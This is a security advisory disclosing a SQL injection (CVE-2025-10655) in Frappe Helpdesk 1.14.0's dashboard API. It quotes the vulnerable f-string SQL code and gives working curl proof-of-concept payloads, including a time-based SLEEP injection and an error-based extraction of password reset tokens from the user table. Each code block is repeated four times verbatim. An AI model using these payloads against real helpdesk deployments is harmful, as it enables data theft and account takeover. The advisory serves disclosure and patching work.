Description
The endpoint POST /api/method/helpdesk.api.dashboard.get_dashboard_data builds SQL fragments by string concatenation of user-controlled filters (filters.team, filters.agent) into a conds clause, which is then embedded directly in multiple SQL queries via f-strings. There is no parameter binding. As a result, an authenticated user (Agent Manager or higher) can inject SQL predicates and expressions (e.g., time-based delays or error-based primitives), leading to data exfiltration. We confirmed the extraction of password reset tokens (reset_password_key) from tabUser and logic manipulation (e.g., OR 1=1) through this flaw.
Vulnerability
Relevant backend fragments (helpdesk/api/dashboard.py):
conds = ""
if _filters.team:
conds += f" AND agent_group='{_filters.team}'" # <-- injection
if _filters.agent:
conds += f" AND JSON_SEARCH(_assign, 'one', '{_filters.agent}') IS NOT NULL"
result = frappe.db.sql(
f"""
SELECT COUNT(CASE
WHEN creation >= %(from_date)s AND creation < DATE_ADD(%(to_date)s, INTERVAL 1 DAY)
{conds}
THEN name ELSE NULL END) as current_month_tickets,
...
""",
{"from_date": from_date, "to_date": to_date, "prev_from_date": prev_from_date},
as_dict=True,
)conds = ""
if _filters.team:
conds += f" AND agent_group='{_filters.team}'" # <-- injection
if _filters.agent:
conds += f" AND JSON_SEARCH(_assign, 'one', '{_filters.agent}') IS NOT NULL"
result = frappe.db.sql(
f"""
SELECT COUNT(CASE
WHEN creation >= %(from_date)s AND creation < DATE_ADD(%(to_date)s, INTERVAL 1 DAY)
{conds}
THEN name ELSE NULL END) as current_month_tickets,
...
""",
{"from_date": from_date, "to_date": to_date, "prev_from_date": prev_from_date},
as_dict=True,
)conds = ""
if _filters.team:
conds += f" AND agent_group='{_filters.team}'" # <-- injection
if _filters.agent:
conds += f" AND JSON_SEARCH(_assign, 'one', '{_filters.agent}') IS NOT NULL"
result = frappe.db.sql(
f"""
SELECT COUNT(CASE
WHEN creation >= %(from_date)s AND creation < DATE_ADD(%(to_date)s, INTERVAL 1 DAY)
{conds}
THEN name ELSE NULL END) as current_month_tickets,
...
""",
{"from_date": from_date, "to_date": to_date, "prev_from_date": prev_from_date},
as_dict=True,
)conds = ""
if _filters.team:
conds += f" AND agent_group='{_filters.team}'" # <-- injection
if _filters.agent:
conds += f" AND JSON_SEARCH(_assign, 'one', '{_filters.agent}') IS NOT NULL"
result = frappe.db.sql(
f"""
SELECT COUNT(CASE
WHEN creation >= %(from_date)s AND creation < DATE_ADD(%(to_date)s, INTERVAL 1 DAY)
{conds}
THEN name ELSE NULL END) as current_month_tickets,
...
""",
{"from_date": from_date, "to_date": to_date, "prev_from_date": prev_from_date},
as_dict=True,
)Attackers can read arbitrary data via SQLi error-based/boolean techniques, including sensitive secrets such as reset_password_key, enabling account takeover via the password reset flow.
Exposure scope: Authenticated “Agent Manager” (and, in certain deployments, “Agent” depending on filter validation, can exploit the vulnerable parameter.
PoC
Login and keep cookies (Agent Manager or admin):
curl -k --proxy-insecure -x 127.0.0.1:8080 -c c.txt -sS -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' --data-urlencode 'pwd=[REDACTED]'
curl -k --proxy-insecure -x 127.0.0.1:8080 -c c.txt -sS -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' --data-urlencode 'pwd=[REDACTED]'
curl -k --proxy-insecure -x 127.0.0.1:8080 -c c.txt -sS -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' --data-urlencode 'pwd=[REDACTED]'
curl -k --proxy-insecure -x 127.0.0.1:8080 -c c.txt -sS -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' --data-urlencode 'pwd=[REDACTED]'
Time-based injection (filters.team):
/usr/bin/time -h curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"x'"'"' OR SLEEP(3) OR '"'"'a'"'"'='"'"'a","agent":"@me"}}'/usr/bin/time -h curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"x'"'"' OR SLEEP(3) OR '"'"'a'"'"'='"'"'a","agent":"@me"}}'/usr/bin/time -h curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"x'"'"' OR SLEEP(3) OR '"'"'a'"'"'='"'"'a","agent":"@me"}}'/usr/bin/time -h curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"x'"'"' OR SLEEP(3) OR '"'"'a'"'"'='"'"'a","agent":"@me"}}'Error-based extraction (single chunk of 16 chars):
curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"' AND extractvalue(1,concat(0x3a,substring((select reset_password_key from `tabUser` where email='[email protected]' limit 1),1,16)))-- ","agent":"@me"}}'curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"' AND extractvalue(1,concat(0x3a,substring((select reset_password_key from `tabUser` where email='[email protected]' limit 1),1,16)))-- ","agent":"@me"}}'curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"' AND extractvalue(1,concat(0x3a,substring((select reset_password_key from `tabUser` where email='[email protected]' limit 1),1,16)))-- ","agent":"@me"}}'curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
-H 'Content-Type: application/json' \
--data '{"dashboard_type":"number_card","filters":{"team":"' AND extractvalue(1,concat(0x3a,substring((select reset_password_key from `tabUser` where email='[email protected]' limit 1),1,16)))-- ","agent":"@me"}}'
Evidence of Exploitation

Our security policy
We have reserved the ID CVE-2025-10655 to refer to this issue from now on.
Disclosure policy
System Information
Frappe Helpdesk
Version 1.14.0
Operating System: macOS
References
Mitigation
A patch version of Frappe Helpdesk is available at the vendor page.
Credits
The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.